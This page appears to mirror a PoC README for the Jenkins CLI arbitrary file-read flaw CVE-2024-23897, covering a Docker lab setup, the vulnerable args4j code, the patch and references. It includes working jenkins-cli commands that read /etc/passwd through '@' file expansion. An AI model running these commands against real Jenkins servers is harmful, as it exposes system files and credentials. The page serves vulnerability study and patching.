Associated Vulnerability
Title:Jenkins 安全漏洞 (CVE-2024-23897)Description:Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.
Description
[CVE-2024-23897] Jenkins CI Authenticated Arbitrary File Read Through the CLI Leads to Remote Code Execution (RCE)
Readme
### <b>[CVE-2024-23897] Jenkins CI Authenticated Arbitrary File Read Through the CLI Leads to Remote Code Execution (RCE)</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[`Jenkins`](https://www.jenkins.io/) is a self-contained open source continuous integration/continuous delivery and deployment (CI/CD) automation software DevOps tool written in the Java programming language. It is used to implement CI/CD workflows, called pipelines.
Jenkins has a built-in command line interface (CLI) to access Jenkins from a script or shell environment. Jenkins uses the [Args4j](https://github.com/kohsuke/args4j) library to parse command arguments and options on the Jenkins controller when processing CLI commands. This command parser has a feature that replaces an `@` character followed by a file path in an argument with the file’s contents (expandAtFiles). This feature is enabled by default and `Jenkins 2.441 and earlier`, `LTS 2.426.2 and earlier` does not disable it.
This allows attackers to read arbitrary files on the Jenkins controller file system using the default character encoding of the Jenkins controller process.
- Attackers with Overall/Read permission can read entire files.
- Attackers <b>without</b> Overall/Read permission can read the first few lines of files. The number of lines that can be read depends on available CLI commands. As of publication of this advisory, the Jenkins security team has found ways to read the first three lines of files in recent releases of Jenkins without having any plugins installed, and has not identified any plugins that would increase this line count.
<b>`Environment Setup`</b><br>
- Fetch docker image
```
root@kali:~$ docker pull jenkins/jenkins:2.440-jdk17
```
- Run container
```
root@kali:~$ docker run -d -p 9091:8080 -p 50000:50000 --name murat2-jenkins jenkins/jenkins:2.440-jdk17
```
- Read initial admin password for setup
```
root@kali:~$ docker exec -t murat2-jenkins cat /var/jenkins_home/secrets/initialAdminPassword
```

<b>`Vulnerable Code`</b><br>
It should be noted that this vulnerability is discovered by SonarSource's Vulnerability Research Team and this section is copied from [SonarSource's technical blogpost](https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/).<br><br>
The vulnerable code can be found in the [`Args4j`](https://github.com/kohsuke/args4j/blob/master/args4j/src/org/kohsuke/args4j/CmdLineParser.java) library,
```java
private String[] expandAtFiles(String args[]) throws CmdLineException {
List < String > result = new ArrayList < String > ();
for (String arg: args) {
if (arg.startsWith("@")) {
File file = new File(arg.substring(1));
if (!file.exists()) throw new CmdLineException(this, Messages.NO_SUCH_FILE, file.getPath());
try {
result.addAll(readAllLines(file));
} catch(IOException ex) {
throw new CmdLineException(this, "Failed to parse " + file, ex);
}
} else {
result.add(arg);
}
}
return result.toArray(new String[result.size()]);
}
```
[expandAtFiles](https://github.com/kohsuke/args4j/blob/master/args4j/src/org/kohsuke/args4j/CmdLineParser.java#L548) method in CmdLineParser.java class is basically replacing an `@` character followed by a file path in an argument with the file’s content: checks if the argument starts with the @ character, and if so, it reads the file in the path after the @ and expands a new argument for each line. This means that if an attacker can control an argument, they can expand it to an arbitrary number of ones from an arbitrary file on the Jenkins instance.
One way an attacker could leverage this is to find a command that takes an arbitrary number of arguments and displays these back to the user. Since the arguments are populated from the contents of the file, an attacker could leak the file contents this way. For this purpose `connect-node` command in [hudson/cli](https://github.com/jenkinsci/jenkins/tree/jenkins-2.441/core/src/main/java/hudson/cli) to be a good candidate: it receives a [list of strings](https://github.com/jenkinsci/jenkins/blob/824f64c23e52e5c765cc7604414740aab3436f8d/core/src/main/java/hudson/cli/ConnectNodeCommand.java#L46) as an argument and tries to connect to each one. If it fails, an error message is generated with the name of the failed connected node.
```java
public class ConnectNodeCommand extends CLICommand {
@Argument(
metaVar = "NAME",
usage = "Agent name, or empty string for built-in node; comma-separated list is supported",
required = true,
multiValued = true
)
private List < String > nodes;
//...
@Override
protected int run() throws Exception {
//...
for (String node_s: hs) {
try {
Computer computer = Computer.resolveForCLI(node_s);
computer.cliConnect(force);
} catch(Exception e) {
//...
final String errorMsg = node_s + ": " + e.getMessage();
stderr.println(errorMsg);
//...
}
}
//...
}
}
```
This `connect-node` command would usually require the CONNECT permission, which is verified in the [cliConnect](https://github.com/jenkinsci/jenkins/blob/3b0de10df3bedba515e13032104d4d84f83045be/core/src/main/java/hudson/model/Computer.java#L483) function. But since the exception is thrown before the permission check in the [resolveForCLI](https://github.com/jenkinsci/jenkins/blob/3b0de10df3bedba515e13032104d4d84f83045be/core/src/main/java/hudson/model/Computer.java#L1676) function, the command actually doesn’t require any authorizations apart from the initial [read-only verification](https://github.com/jenkinsci/jenkins/blob/3b0de10df3bedba515e13032104d4d84f83045be/core/src/main/java/hudson/cli/CLICommand.java#L247).
<b>`Exploitation Steps`</b><br>
Normally, the @ in Jenkins-cli is used to specify a file containing the bearer token or `username:password` from a file.

Using an authenticated command with Jenkins-cli will produce the following output:
```
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -http connect-node "@/etc/passwd"
```

Using the feature `@` character to specify the credentials.txt file in -auth switch produces the following:
```
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -auth @credentials.txt -http connect-node "@/etc/passwd"
```

<b>`Patch Analysis`</b><br>
The Jenkins security team addressed CVE-2024-23897 by introducing a secure configuration that disables the `expandAtFiles` feature. The patch includes adding an origin verification to the WebSocket endpoint for [CVE-2024-23898](https://nvd.nist.gov/vuln/detail/CVE-2024-23898), preventing unauthorized access.<br><br>
Relevant commit: [`jenkinsci/jenkins@554f037`](https://github.com/jenkinsci/jenkins/commit/554f03782057c499c49bbb06575f0d28b5200edb?diff=unified&w=1)

1. `ALLOW_AT_SYNTAX`: This variable is a boolean indicating whether the '@' syntax is allowed. It is read from system properties.
2. `ParserProperties`: This class provides properties to configure the CmdLineParser.
3. `withAtSyntax(ALLOW_AT_SYNTAX)`: It sets the 'allowAtSyntax' property in the ParserProperties based on the value of `ALLOW_AT_SYNTAX`.
4. `new CmdLineParser(this, properties)`: This creates a new `CmdLineParser` instance, passing the current object (`this`) and the configured `ParserProperties`.
More information about CVE-2024-34897 vulnerability and credits are as follow:
- [Jenkins Security Advisory 2024-01-24](https://www.jenkins.io/security/advisory/2024-01-24/#descriptions)
- [NIST Advisory: CVE-2024-23897](https://nvd.nist.gov/vuln/detail/CVE-2024-23897)
- [Jenkins Args4j CVE-2024-23897: Files Exposed, Code at Risk](https://www.trendmicro.com/en_us/research/24/c/cve-2024-23897.html)
- [Excessive Expansion: Uncovering Critical Security Vulnerabilities in Jenkins](https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/)
- [CVE-2024-23897: Assessing the Impact of the Jenkins Arbitrary File Leak Vulnerability](https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-23897-assessing-the-impact-of-the-jenkins-arbitrary-file-leak-vulnerability/)
- [The Anatomy of a Jenkins Vulnerability: CVE-2024-23897 Revealed](https://www.vicarius.io/vsociety/posts/the-anatomy-of-a-jenkins-vulnerability-cve-2024-23897-revealed-1)
File Snapshot
[4.0K] /data/pocs/99fa2f3a5a469be4b2d205ac773d2405b693a2f7
└── [8.8K] README.md
0 directories, 1 file
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →